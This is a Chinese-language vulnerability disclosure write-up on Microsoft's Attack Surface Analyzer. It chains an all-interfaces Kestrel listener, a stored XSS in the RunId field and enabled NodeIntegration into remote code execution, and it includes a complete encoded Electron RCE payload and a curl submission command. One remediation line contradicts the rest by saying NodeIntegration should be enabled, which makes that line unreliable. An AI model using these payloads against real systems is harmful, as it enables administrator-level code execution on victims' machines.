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微软“攻击分析器”的三个漏洞利用

Kiven  1971天前

概述

本文主要描述了我是如何发现这三个漏洞的，以及它们的利用方法，我将最终通过微软的攻击分析器（Attack Surface Analyzer）实现远程代码执行。

经过摸索，我发现微软的攻击分析器使用了Electron.Net将Kestrel Web服务绑定了0.0.0.0地址（代表这是面向所有IP可以访问的服务）。如果绕过了Windows操作系统防火墙，或者在防火墙没有开启的情况下，那么远程攻击者就可以连接到该操作系统并执行命令。Web应用程序很容易受到跨站脚本（XSS）的攻击。远程攻击者可以提交一个带有javascript的虚假连接，ASA Electron应用程序就可能执行恶意命令。

此外，Electron.NET没有将NodeIntegration选项标志设置为False，这将允许javascript脚本Payload在受害者的计算机上打开一个新的进程。

背景说明

就在一个月之前，有人发布了一个微软新版本工具的链接。

我的老板Matt表示：

在与John Lambert休假时共同写下的第一个版本分析。

备注：以下连接中，可以看到他们关于该工具的一些情况说明，以及相关的演示文稿等：

https://twitter.com/JohnLaTwC/status/1141765341061627904

需要说明的是，我之前从未使用过这个工具，我只使用过一个功能类似的内部工具。

什么是攻击分析器（ASA）？

根据微软官方给出的文档：

攻击分析器（Attack Surface Analyzer）将会在安装其他软件产品之前和之后，保存系统状态的快照，并展示系统某些敏感组件的更改情况。

我们在安装应用程序或服务之前和之后运行攻击分析器，随后，可以比较安装前后的运行结果，从而了解应用程序在计算机上安装的内容。

攻击分析器（ASA）通常以root或admin身份运行，因为应用程序需要尽可能多的访问权限，以监视并记录对计算机的更改。

基于Electron实现

该应用程序的最新版本是基于Electron编写的。Electron是一个将Web应用程序封装为桌面应用程序的框架。我们可以将其视为Chromium一类的实例，它就是一个可以打开在本地运行的Web应用程序。要了解有关Electron的更多信息，可以查看其他相关教程。

Electron应用程序非常流行。这篇文章是我在VS Code中撰写的，而这正是一个Electron应用程序。

攻击分析器使用Electron.NET框架，这是一个嵌入式ASP.NET核心应用程序的Electron应用程序编译器。我对这两种框架的内部工作原理都不是很熟悉，但看起来，其运行的都是本地Kestrel Web服务器，然后再通过Electron打开一个ASP.NET Web应用程序。

运行攻击分析器

我下载了攻击分析器（ASA）2.0.143版本，并在安装了常用IE浏览器的Windows虚拟机中启动它。攻击分析器需要在管理员身份下运行，以便最大程度地监控和分析操作系统和应用程序。

在管理员权限命令提示符中，运行攻击分析器之后，系统弹出了Windows防火墙警告信息。

1.png

我非常好奇，为什么本地Electron应用需要打开防火墙端口？根据命令提示符内容，我找到了原因。

C:\Users\IEUser\Downloads\AsaGui-windows-2.0.141>
Electron Socket IO Port: 8000
Electron Socket started on port 8000 at 127.0.0.1
ASP.NET Core Port: 8001
stdout: Use Electron Port: 8000
 
stdout: Hosting environment: Production
Content root path: C:\Users\IEUser\Downloads\AsaGui-windows-2.0.141\resources\app\bin\
Now listening on: http://0.0.0.0:8001
Application started. Press Ctrl+C to shut down.

Kestrel Web服务正在侦听8001端口上的所有连接。这个端口并不是固定的，我们可以在应用程序的源代码中看到它从8000端口开始，并使用前两个可用的端口。第一个将由Electron使用，第二个由Kestrel Web服务使用。在一般情况下，这两个端口就是8000端口和8001端口。

Electron.NET/ElectronNET.Host/main.js#L141： 
function startAspCoreBackend(electronPort) {
 
// hostname needs to be localhost, otherwise Windows Firewall will be triggered.
portscanner.findAPortNotInUse(8000, 65535, 'localhost', function (error, electronWebPort) {
    console.log('ASP.NET Core Port: ' + electronWebPort);
    loadURL = `http://localhost:${electronWebPort}`;
    const parameters = [`/electronPort=${electronPort}`, `/electronWebPort=${electronWebPort}`];
    let binaryFile = manifestJsonFile.executable;
 
    const os = require('os');
    if (os.platform() === 'win32') {
        binaryFile = binaryFile + '.exe';
    }
 
    let binFilePath = path.join(currentBinPath, binaryFile);
    var options = { cwd: currentBinPath };
    // Run the binary with params and options.
    apiProcess = process(binFilePath, parameters, options);
 
    apiProcess.stdout.on('data', (data) => {
        console.log(`stdout: ${data.toString()}`);
    });
});
}

这些端口将作为命令行参数传递给执行程序。程序文件位于名为executable的密钥文件中，该密钥位于AsaGui-windows-2.0.141/resources/app/bin/electron.manifest.json：

{
  "executable": "AttackSurfaceAnalyzer-GUI"
}

使用procmon工具，我们可以看到执行过程中的参数。

AttackSurfaceAnalyzer-GUI.exe /electronPort=8000 /electronWebPort=8001

2.png

我们可以手动设置localhost:8001，在浏览器中查看应用程序状态。

03-asa-in-browser.png

漏洞1：监听所有接口

Kestrel Web服务开启监听后，如果它获得了打开端口的权限，或者防火墙失效（在Windows上已经禁用防火墙，或者在没有打开防火墙的情况下运行系统），那么任何人都可以从外部连接它。

我在虚拟机和主机之间创建了一个仅限主机连接的网络接口。在主机浏览器访问192.168.56.101:8001的虚拟机之后，显示以下错误提示：

HTTP错误400：请求的主机名无效。

3.png

在BurpSuite中进行访问，同样会出现相同的错误信息：

HTTP/1.1 400 Bad Request
Connection: close
Date: Tue, 21 May 2019 20:14:36 GMT
Content-Type: text/html
Server: Kestrel
Content-Length: 334
 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Bad Request</TITLE>
<meta HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></ HEAD >
<BODY><h2>Bad Request - Invalid Hostname</h2>
<hr><p>HTTP Error 400. The request hostname is invalid.</p>
</BODY></HTML>

需要注意其中的Server: Kestrel响应头部。

Kerstel的主机过滤

Kestrel包含一个host过滤器。关于该过滤器，具体说明可以参考：

https://docs.microsoft.com/en-us/aspnet/core/fundamentals/servers/kestrel#host-filtering

它通过Host头部过滤接收的请求。我们可以在Burp Suite中使用简单的Proxy（代理） > Options（选项） > Match and Replace（匹配和替换）规则将我们请求的主机头部从192.168.56.101:8001替换为localhost:8001并远程访问Web应用程序。

4.png

通过AllowedHosts在AsaGui-windows-2.0.141/resources/app/bin/appsettings.json中启用此设置： 

{
  "Logging": {
    "LogLevel": {
      "Default": "Warning"
    }
  },
  "AllowedHosts": "localhost",
  "ApplicationInsights": {
    "InstrumentationKey": "79fc14e7-936c-4dcf-ba66-9a4da6e341ef"
  }
}

漏洞2：跨站脚本攻击（XSS）

该应用程序并没有发现注入点，因为用户可以输入的参数非常有限。我们可以对其进行扫描，并分析扫描结果。我们可以在特定路径中导出结果并创建报告。

RunId是用户输入参数的唯一接口。我们可以尝试一个基本的XSS注入。提交运行时，可以选择一些简单的功能，例如Certificates（证书）查询，以便快速运行。

注意：RunIds存储在SQLite数据库中，对于每个应用程序都是唯一的。

5.png

出现XSS漏洞根本原因分析

提交我们之前运行的请求。

http://192.168.56.101:8001/Home/StartCollection?Id=<script>alert(1)</script>&

File=false&Port=false&Service=false&User=false&Registry=false&Certificates=true

然后，应用程序调用GetCollectors以获取有关当前运行和显示进程的信息。

http://192.168.56.101:8001/Home/GetCollectors

应用程序的响应是一个包含JSON对象的字符串。我们测试运行的的结果是：

{
    "RunId": "<script>alert(1)</script>",
    "Runs": {
        "CertificateCollector": 3
    }
}

RunId的值将直接显示在网页中。其根本原因是在js/Collect.js:174中：

function GetCollectors() {
    $.getJSON('GetCollectors', function (result) {
        var data = JSON.parse(result);
        var rundata = data.Runs;
        var keepChecking = false;
        var anyCollectors = false;
        var icon, midword;
        $('#ScanStatus').empty();
 
        if (object.keys(rundata).length > 0) {
            // INJECTION
            $('#ScanStatus').append($('<div/>', { html: l("%StatusReportFor") + data.RunId + ".</i>" }));
        }
 
        // Removed
    });
}

data.RunId没有验证输入，并且也没有对输出进行编码。值得关注的是，ID看起来在Result选项卡中是以编码后的形式进行输出。我并不像Lewis Ardern擅长javascript技术，但是我通过这个简单的Payload就发现了漏洞，而看来我很幸运。

来自远程Payload的XSS

上面的反射性XSS漏洞几乎没有什么实际用途。但仔细一想，似乎并不是完全没有价值。如果攻击者可以让潜在受害者用户单击指向localhost:8001的链接并提交Payload，那么就可以在虚拟机内部的攻击分析器或浏览器中实现XSS攻击。但实际上，并不是那么好用。

XSS在运行攻击分析器Electron应用程序的虚拟机中持续存在。如果没有新的提交，可以在虚拟机的攻击分析器Electron应用程序中定位到“Scan”（扫描）选项卡，或者再次单击它，就可以看到警告内容。

6.png

当我们定位至“Scan”选项卡时，应用程序将检索最新提交的运行信息，也就是我们从主机虚拟机提交的信息，并执行XSS。这意味着，攻击者可以通过8001端口连接到应用程序，提交XSS，然后当我们在本地使用时，就会在攻击分析器中生效。

漏洞3：通过NodeIntegration将XSS攻击提升为RCE远程执行命令

一说起Electron，我立刻就联想到了远程代码执行（RCE）。有很多关于如何在Electron中将跨站脚本攻击（XSS）转换为远程代码执行（RCE）的文章。其中，对于Electron.NET来说，当NodeIntegration启用时，就很容易实现远程代码执行。

WebPreferences.cs：
/// <summary>
/// Whether node integration is enabled. Default is true.
/// </summary>
[DefaultValue(true)]
public bool NodeIntegration { get; set; } = true;

更多信息请参考：

https://github.com/electron/electron/blob/master/docs/tutorial/security.md#2-do-not-enable-nodejs-integration-for-remote-content

也就是说，我们可以利用跨站脚本攻击，在运行攻击分析器的虚拟机中开启进程。需要注意的是，还需要绕过NodeIntegration，因此如果只是禁用它可能还远远不够。

远程代码执行Payload

下面是Electron典型的将XSS提升到RCEPayload的方式。我们在Google上搜到了一段代码，并直接使用。

var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'calc.exe',args:[],cwd:null,windowsVerbatimArguments:false,
    detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},
{type:'ignore'}]});

我们使用javascript eval String.fromCharCode编码器将其转换为以下内容。然后从主机的浏览器中提交带有Payload的新连接作为RunId。需要注意的是，我添加了一个伪造的id元素，确保每个Payload的唯一性。

<img id="5" src=x on error=eval(String.fromCharCode(118,97,114,32,80,114,111,99,
101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,
40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,
115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,
99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,
102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,
101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,
32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,
121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,
101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,
115,112,97,119,110,40,123,102,105,108,101,58,39,99,97,108,99,46,101,120,101,39,
44,97,114,103,115,58,91,93,44,99,119,100,58,110,117,108,108,44,119,105,110,100,
111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,
102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,
101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,
123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,
58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,
111,114,101,39,125,93,125,41,59))>

我们也可以通过这个curl命令，在本地提交Payload：

curl -vvv -ik -H "Host:localhost:8001" "http://localhost:8001/Home/StartCollection?
Id=<img%20id=%225%22%20src=x%20on error=eval(String.fromCharCode(118,97,114,32,80,
114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,
110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,
101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,
99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,
117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,
118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,
110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,
105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,
39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,
119,110,40,123,102,105,108,101,58,39,99,97,108,99,46,101,120,101,39,44,97,114,103,
115,58,91,93,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,
101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,
101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,
105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,
58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,
114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,
41,59))>&File=false&Port=false&Service=false&User=false&Registry=false&Certificates=true"

在虚拟机中，切换回“Scan”选项卡，或者重新加载上面的代码，我们就可以看到弹出了计算器。

7.png

顺便说一下，procmon中运行calc的命令行值看起来像是一个乱码。

8.png

从主机注入Payload：

1.gif

在本地注入Payload：

2.gif

总结

1、攻击分析器通常以Administrator身份运行，这使得攻击分析器可以更全面地了解操作系统，并为我们提供更准确的结果。这意味着，我们的远程代码执行也是以管理员的身份来执行命令。

2、最常见的端口是8000和8001。除非用户在这些端口上运行了其他业务，否则攻击者很容易发现其存在。

3、攻击分析器通常会在使用的虚拟机上运行一个进程，我们并不会在虚拟机上留下应用程序的线索。但是，这些虚拟机仍然能看出来一些异常。

修复方案

1、不要将Web浏览器绑定到所有接口。

2、在程序页面上使用编码后的RunIds。

3、在Electron.NET上启用NodeIntegration和其他的Electron防御机制，详细方法请查阅windows“安全性、本地功能和用户责任”。

上述问题已经在2019年5月22日提交至微软安全响应中心。

漏洞修复

1、NodeIntegration已禁用，并且ContextIsolation已启用

2、不监听所有接口 – 位于Gui/Properties/launchSettings.json中

3、对URI组件中的runId进行编码 – 位于Gui/wwwroot/js/Collect.js

时间线

2019年5月22日  获得微软致谢

2019年5月28日  微软安全响应中心要求具体解释漏洞情况

2019年6月6日    微软安全响应中心确认漏洞修复方式可行性

2019年6月14日  确认修复

2019年6月18日  公开披露

漏洞利用 ASA 攻击分析器 微软 科普
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